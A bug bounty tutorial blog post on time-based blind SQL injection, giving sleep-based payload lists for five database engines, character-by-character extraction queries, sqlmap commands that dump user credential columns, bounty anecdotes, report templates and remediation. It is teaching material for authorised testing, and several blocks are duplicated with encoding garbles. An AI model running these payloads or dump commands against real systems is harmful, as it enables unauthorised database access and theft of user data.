November 19, 2026
Time-Based Blind SQL Injection: When the Database Talks in Seconds
A complete guide to finding, confirming, and extracting data from time-based blind SQL injection โ with payloads for every database, Burpโฆ

By Monika
9 min read
A complete guide to finding, confirming, and extracting data from time-based blind SQL injection โ with payloads for every database, Burp techniques, real examples, and report templates.
Introduction
The page looks completely normal. No error. No weird behavior. The response just says โ success.
You send a payload. Nothing changes. You send another one. Still nothing. Most hunters give up at this point and move on.
But what if you sent one specific payload โ and the page took 5 extra seconds to respond?
That 5 second delay is the database talking. It just told you that your code ran inside the SQL query. No output. No error. Just time. That is Time-Based Blind SQL Injection โ and it is one of the most powerful techniques in bug bounty because it works even when the app shows you absolutely nothing.
This article covers everything from scratch โ what it is, how to find it, every payload you need, how to actually extract data using timing, and how to write a report that gets paid.
What is Time-Based Blind SQL Injection?
SQL Injection has three main types:
- Classic (Error-Based) SQLi โ The database returns an error message in the response. You can see the data directly.
- Boolean-Based Blind SQLi โ No error, but the page behaves differently based on true or false conditions. The page changes slightly โ a missing element, a different length response โ and you use that difference to extract data bit by bit.
- Time-Based Blind SQLi โ No error. No visible difference in the response at all. The only signal is time. You inject a command that tells the database to wait (sleep) for a few seconds. If the page responds late โ your code ran.
Time-based is the hardest to find manually but is extremely common because:
- Many apps show custom error pages that hide all database errors
- Many apps return the same response whether a query succeeds or fails
- Developers focus on hiding errors but forget the app itself can be used as a timing oracle
The key concept: You are not reading data from the response. You are asking the database yes or no questions, and it answers by either responding instantly or making you wait.
How It Works
Here is the exact flow of what happens during a time-based blind SQLi attack:
Normal Request Flow:
User โ sends: id=1
Server โ runs: SELECT * FROM users WHERE id = 1
Database โ returns data instantly
Server โ responds in ~200ms
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Time-Based Payload Flow:
User โ sends: id=1' AND SLEEP(5)-- -
Server โ runs: SELECT * FROM users WHERE id = 1' AND SLEEP(5)-- -
Database โ evaluates: 1=1 is TRUE โ runs SLEEP(5)
Database โ waits 5 seconds
Server โ responds in ~5200ms
Conclusion โ SQL code ran inside the query โ INJECTABLE!Normal Request Flow:
User โ sends: id=1
Server โ runs: SELECT * FROM users WHERE id = 1
Database โ returns data instantly
Server โ responds in ~200ms
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Time-Based Payload Flow:
User โ sends: id=1' AND SLEEP(5)-- -
Server โ runs: SELECT * FROM users WHERE id = 1' AND SLEEP(5)-- -
Database โ evaluates: 1=1 is TRUE โ runs SLEEP(5)
Database โ waits 5 seconds
Server โ responds in ~5200ms
Conclusion โ SQL code ran inside the query โ INJECTABLE!Why SLEEP works:
The SLEEP(5) command tells MySQL to pause for 5 seconds before returning any result. Because the web server waits for the database to respond before sending the page to you, the entire page response is delayed by those 5 seconds.
If the condition before SLEEP is FALSE, the database skips the SLEEP entirely and responds instantly. This is how you ask yes/no questions:
-- Is the database name 'admin'? (TRUE condition โ delays 5 sec)
id=1' AND IF(database()='admin', SLEEP(5), 0)-- -
-- Is the first character of db name 'a'? (TRUE โ delays)
id=1' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- --- Is the database name 'admin'? (TRUE condition โ delays 5 sec)
id=1' AND IF(database()='admin', SLEEP(5), 0)-- -
-- Is the first character of db name 'a'? (TRUE โ delays)
id=1' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -Delay = YES. No delay = NO. That is the entire technique.
Where to Find It
Time-based SQLi can hide in any parameter that gets passed to a database query. These are your best targets:
High Priority โ Test These First:
- URL parameters: ?id=1, ?user=john, ?category=5, ?page=2, ?sort=name
- Search fields: ?q=laptop, ?search=admin, ?keyword=test
- Login forms: username and password fields
- Registration forms: email, username fields
- Filter/sort parameters: ?order=asc, ?filter=active, ?type=premium
- API endpoints: /api/user/1, /api/products?id=5
- Cookie values: session_id=1234, user_id=5, cart_id=abc
- HTTP Headers: X-Forwarded-For, User-Agent, Referer โ many apps log these to a database
- Hidden form fields: values inside tags in page source
- JSON body parameters: {"id": 1}, {"username": "admin"}
Signs a Parameter May Be Vulnerable:
- The page content changes based on the parameter value (fetching from DB)
- The parameter is a numeric ID or looks like a database key
- The parameter is used in a search, filter, or sort feature
- The app shows different content for id=1 vs id=2 vs id=999
- The parameter appears in a report, dashboard, or data-heavy page
How to Hunt: Step-by-Step
Step 1 โ Note the Baseline Response Time
Before injecting anything, send the normal request and note the response time. In Burp Repeater, the time is shown at the bottom right โ 383 millis for example. This is your baseline. Write it down.
Step 2 โ Send the Request to Repeater
Capture the request in Burp Proxy โ Right click โ Send to Repeater.
Step 3 โ Inject a Simple Sleep Payload
Find any parameter in the request. Add a simple SLEEP payload at the end of its value:
Original: id=1
Modified: id=1' AND SLEEP(5)-- -Original: id=1
Modified: id=1' AND SLEEP(5)-- -Click Send. Watch the timer at the bottom right of Repeater.
Step 4 โ Compare the Response Time
- Baseline was 200ms โ Response now takes 5200ms โ VULNERABLE
- Baseline was 200ms โ Response still 200ms โ Not injectable with this payload
Step 5 โ Confirm It Is Not a False Positive
- One slow response is not enough. Confirm it properly:
- Change the sleep time: use SLEEP(10) โ does it now take 10 seconds?
- Use a FALSE condition: id=1' AND SLEEP(5) AND '1'='2' โ โ โ does it respond instantly?
- Send the original request again โ does it go back to baseline speed?
All three passing confirms the SQLi is real.
Step 6 โ Try Different Payload Styles
If the basic payload does not work, the input may be filtered or the context may be different. Try these variations:
1' AND SLEEP(5)-- -
1 AND SLEEP(5)-- -
1') AND SLEEP(5)-- -
1')) AND SLEEP(5)-- -
1' OR SLEEP(5)-- -
1; WAITFOR DELAY '0:0:5'-- -1' AND SLEEP(5)-- -
1 AND SLEEP(5)-- -
1') AND SLEEP(5)-- -
1')) AND SLEEP(5)-- -
1' OR SLEEP(5)-- -
1; WAITFOR DELAY '0:0:5'-- -Step 7 โ Use sqlmap to Confirm and Extract
Once manually confirmed, use sqlmap to verify and automate data extraction:
sqlmap -u "https://target.com/page?id=1" \
--technique=T \
--time-sec=5 \
--dbs \
--batchsqlmap -u "https://target.com/page?id=1" \
--technique=T \
--time-sec=5 \
--dbs \
--batchOr from a saved Burp request file:
sqlmap -r request.txt \
--technique=T \
--time-sec=5 \
--dbssqlmap -r request.txt \
--technique=T \
--time-sec=5 \
--dbsPayloads for Every Database
MySQL / MariaDB
' AND SLEEP(5)-- -
' OR SLEEP(5)-- -
1 AND SLEEP(5)
' AND SLEEP(5) AND '1'='1
') AND SLEEP(5)-- -
')) AND SLEEP(5)-- -
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
' AND (SELECT SLEEP(5) FROM dual WHERE 1=1)-- -' AND SLEEP(5)-- -
' OR SLEEP(5)-- -
1 AND SLEEP(5)
' AND SLEEP(5) AND '1'='1
') AND SLEEP(5)-- -
')) AND SLEEP(5)-- -
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -
' AND (SELECT SLEEP(5) FROM dual WHERE 1=1)-- -Microsoft SQL Server (MSSQL)
'; WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -
' AND 1=1; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1' WAITFOR DELAY '0:0:5'-- -'; WAITFOR DELAY '0:0:5'-- -
1; WAITFOR DELAY '0:0:5'-- -
' AND 1=1; WAITFOR DELAY '0:0:5'-- -
'); WAITFOR DELAY '0:0:5'-- -
1' WAITFOR DELAY '0:0:5'-- -PostgreSQL
'; SELECT pg_sleep(5)-- -
' OR 1=1; SELECT pg_sleep(5)-- -
'; SELECT pg_sleep(5) FROM pg_sleep(0)-- -
1; SELECT pg_sleep(5)
' AND 1=(SELECT 1 FROM pg_sleep(5))-- -'; SELECT pg_sleep(5)-- -
' OR 1=1; SELECT pg_sleep(5)-- -
'; SELECT pg_sleep(5) FROM pg_sleep(0)-- -
1; SELECT pg_sleep(5)
' AND 1=(SELECT 1 FROM pg_sleep(5))-- -Oracle
' AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -
' OR 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -
'||(SELECT '' FROM dual WHERE 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1)||'
' AND 1=(SELECT DECODE(SUBSTR(USER,1,1),'S',DBMS_PIPE.RECEIVE_MESSAGE('a',5),0) FROM dual)-- -' AND 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -
' OR 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1-- -
'||(SELECT '' FROM dual WHERE 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)=1)||'
' AND 1=(SELECT DECODE(SUBSTR(USER,1,1),'S',DBMS_PIPE.RECEIVE_MESSAGE('a',5),0) FROM dual)-- -SQLite
' AND 1=1 AND randomblob(100000000)-- -
' OR 1=1 AND randomblob(100000000)-- -
1 AND randomblob(500000000)' AND 1=1 AND randomblob(100000000)-- -
' OR 1=1 AND randomblob(100000000)-- -
1 AND randomblob(500000000)Note: SQLite has no native sleep function โ randomblob with a large number creates a CPU-heavy operation that causes a noticeable delay.
When You Do Not Know the Database
Try all of them in order. The one that causes a delay tells you which database the app is using:
Step 1: Try SLEEP(5) โ MySQL/MariaDB
Step 2: Try WAITFOR DELAY โ MSSQL
Step 3: Try pg_sleep(5) โ PostgreSQL
Step 4: Try DBMS_PIPE โ Oracle
Step 5: Try randomblob โ SQLiteStep 1: Try SLEEP(5) โ MySQL/MariaDB
Step 2: Try WAITFOR DELAY โ MSSQL
Step 3: Try pg_sleep(5) โ PostgreSQL
Step 4: Try DBMS_PIPE โ Oracle
Step 5: Try randomblob โ SQLiteReal Bug Bounty Examples
Example 1 โ Time-Based SQLi in Search Parameter ($3,000)
A hunter was testing a hotel booking platform. The search endpoint GET /hotels?city=london returned results normally with no errors. They injected city=london' AND SLEEP(5) โ โ and the response jumped from 180ms to 5180ms consistently. The city parameter was being directly inserted into a MySQL query without sanitization. sqlmap confirmed full database access including user bookings and partial payment data. Severity: High. Payout: $3,000.
Example 2 โ MSSQL Injection in HTTP Header ($4,500)
A researcher found that a financial platform was logging the User-Agent header to its database for analytics. By injecting '; WAITFOR DELAY '0:0:5' โ into the User-Agent header, the response delayed by exactly 5 seconds. This was an MSSQL database with the WAITFOR function available. Impact: full access to transaction logs and user account data. Severity: Critical. Payout: $4,500.
Example 3 โ PostgreSQL Blind SQLi in API ($2,500)
A hunter was testing a REST API endpoint POST /api/reports with a JSON body. The report_id field inside the JSON body was injectable. "report_id": "1; SELECT pg_sleep(5) โ " caused a 5-second delay consistently. No error was shown โ the app returned the same generic JSON response either way. Only timing revealed the vulnerability. Severity: High. Payout: $2,500.
Example 4 โ Cookie-Based SQLi in E-commerce Platform ($6,000)
A hunter noticed that the app read a tracking_id cookie value and stored it in the database. Injecting tracking_id=1' AND SLEEP(5) โ โ via Burp into the cookie caused the entire page to delay by 5 seconds. The cookie value was passed directly into an INSERT query. sqlmap was able to dump the entire users table including email addresses and hashed passwords. Severity: Critical. Payout: $6,000.
How to Extract Data Using Timing
Once you confirm time-based SQLi, you can extract real data โ character by character โ using conditional timing payloads.
The Core Technique:
You ask the database: is the first character of the database name the letter 'a'? If yes, sleep 5 seconds. If no, respond immediately.
-- Is the database name starting with 'a'?
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
-- Is the database name starting with 'b'?
' AND IF(SUBSTRING(database(),1,1)='b', SLEEP(5), 0)-- --- Is the database name starting with 'a'?
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
-- Is the database name starting with 'b'?
' AND IF(SUBSTRING(database(),1,1)='b', SLEEP(5), 0)-- -You iterate through every character (a-z, 0โ9) until a delay occurs โ that is the correct character. Then move to the second character, and so on.
Extracting the Database Name Manually:
-- Character 1
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
-- Character 2 (once you know char 1 = 's' for example)
' AND IF(SUBSTRING(database(),2,1)='h', SLEEP(5), 0)-- -
-- Character 3
' AND IF(SUBSTRING(database(),3,1)='o', SLEEP(5), 0)-- --- Character 1
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0)-- -
-- Character 2 (once you know char 1 = 's' for example)
' AND IF(SUBSTRING(database(),2,1)='h', SLEEP(5), 0)-- -
-- Character 3
' AND IF(SUBSTRING(database(),3,1)='o', SLEEP(5), 0)-- -This is tedious manually. sqlmap does it automatically.
Using sqlmap to Extract Everything:
# Step 1: Get list of databases
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 --dbs
# Step 2: Get tables from a specific database
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 -D database_name --tables
# Step 3: Get columns from a specific table
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 -D database_name -T users --columns
# Step 4: Dump the data
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 -D database_name -T users -C username,email,password --dump# Step 1: Get list of databases
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 --dbs
# Step 2: Get tables from a specific database
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 -D database_name --tables
# Step 3: Get columns from a specific table
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 -D database_name -T users --columns
# Step 4: Dump the data
sqlmap -u "https://target.com/page?id=1" --technique=T --time-sec=5 -D database_name -T users -C username,email,password --dumpImportant: For bug bounty, stop at Step 1 or Step 2. You only need to prove the vulnerability exists and show which databases are accessible. Do not dump full user tables โ extracting just the database list is enough to prove Critical impact. Never download data beyond what is needed to prove the finding.
How to Write the Report
Time-based SQLi reports get closed as informative most often because hunters do not prove the delay is consistent and reproducible. Here is how to write one that gets triaged immediately.
Title
Be exact. Not: "SQL injection found". Yes: "Time-Based Blind SQL Injection in id parameter at /api/products allows full database read access"
Severity
- Read access to database schema only โ High
- Read access to user data or credentials โ Critical
- Write access or OS command execution possible โ Critical
Steps to Reproduce
- Send this request to the target: GET /products?id=1 HTTP/2 Note the response time: ~180ms
- Send the same request with the payload: GET /products?id=1' AND SLEEP(5) โ โ HTTP/2 Observe the response time: ~5180ms
- Confirm with SLEEP(10) โ response time becomes ~10180ms
- Confirm with FALSE condition AND SLEEP(5) AND '1'='2' โ โ โ response returns to ~180ms
Proof of Concept Screenshots
Always include three screenshots:
- Screenshot 1: Normal request with baseline response time visible in Burp
- Screenshot 2: Payload with 5-second delay โ time visible at bottom of Burp Repeater
- Screenshot 3: Payload with 10-second delay โ proving it scales with the delay value
Impact Statement
"An unauthenticated attacker can inject arbitrary SQL commands into the id parameter of the /api/products endpoint. The time-based technique confirms the injection is live and blind. Using automated tools such as sqlmap, the attacker can extract the full database schema, all table contents, and potentially obtain user credentials. On MySQL databases with FILE privileges, this may also allow reading server-side files."
Remediation
- Use parameterized queries (prepared statements) for all database interactions
- Never concatenate user input directly into SQL strings
- Implement an application-level WAF as a secondary defense
- Apply least privilege to the database user โ read-only access where full access is not needed
Common Mistakes to Avoid
Testing on a slow network and calling it SQLi
This is the most common false positive in time-based testing. If your internet is slow or the server is under load, any request can take 4โ5 seconds. Always test with SLEEP(5), SLEEP(10), and SLEEP(15) โ if the delays scale proportionally with your input value, it is real. If the delays are random, it is network noise.
Not confirming with a false condition
Always send the same payload with a FALSE condition after getting a delay. AND SLEEP(5) AND '1'='2' โ โ should return instantly if the injection is real. If it also delays, something else is causing the slowness โ it is not SQLi.
Using sqlmap too aggressively
Running sqlmap on production without throttling can crash the server, trigger alerts, and get your account banned. Always use โ delay=3, โ time-sec=5, and โ threads=1 on bug bounty targets. Never use โ level=5 โ risk=3 on live targets.
Reporting without consistent proof
One screenshot of a delayed response is not enough. Show three screenshots โ baseline speed, 5 second delay, 10 second delay. Triagers need to see the delay scales with your input. Without that, many programs will ask for more proof or close as informative.
Extracting more data than needed
In bug bounty, you only need to prove the vulnerability exists. Getting the database name and one table name is enough for a Critical report. Do not dump full user tables, do not download PII, do not access admin accounts. Going beyond proof of concept can get your report marked as exceeding scope and your account banned from the program.
Skipping headers and cookies
Most hunters only test URL parameters and POST body fields. Time-based SQLi in HTTP headers and cookies is very common and very underreported. Always test User-Agent, Referer, X-Forwarded-For, and all cookie values before moving on from a target.
Giving up after one payload style fails
SQL injection has many contexts โ inside quotes, without quotes, inside parentheses, inside double quotes. If ' AND SLEEP(5) โ โ fails, try 1 AND SLEEP(5), then ') AND SLEEP(5) โ -, then ")) AND SLEEP(5) โ -. Try at least 6โ8 variations before concluding a parameter is not injectable.
THANK YOU โจ
BUY ME A COFFEE โ
Monika Hi, I'm Monika โจI break down real-world bug bounty reports into simple, practical write-ups.If my articles help youโฆ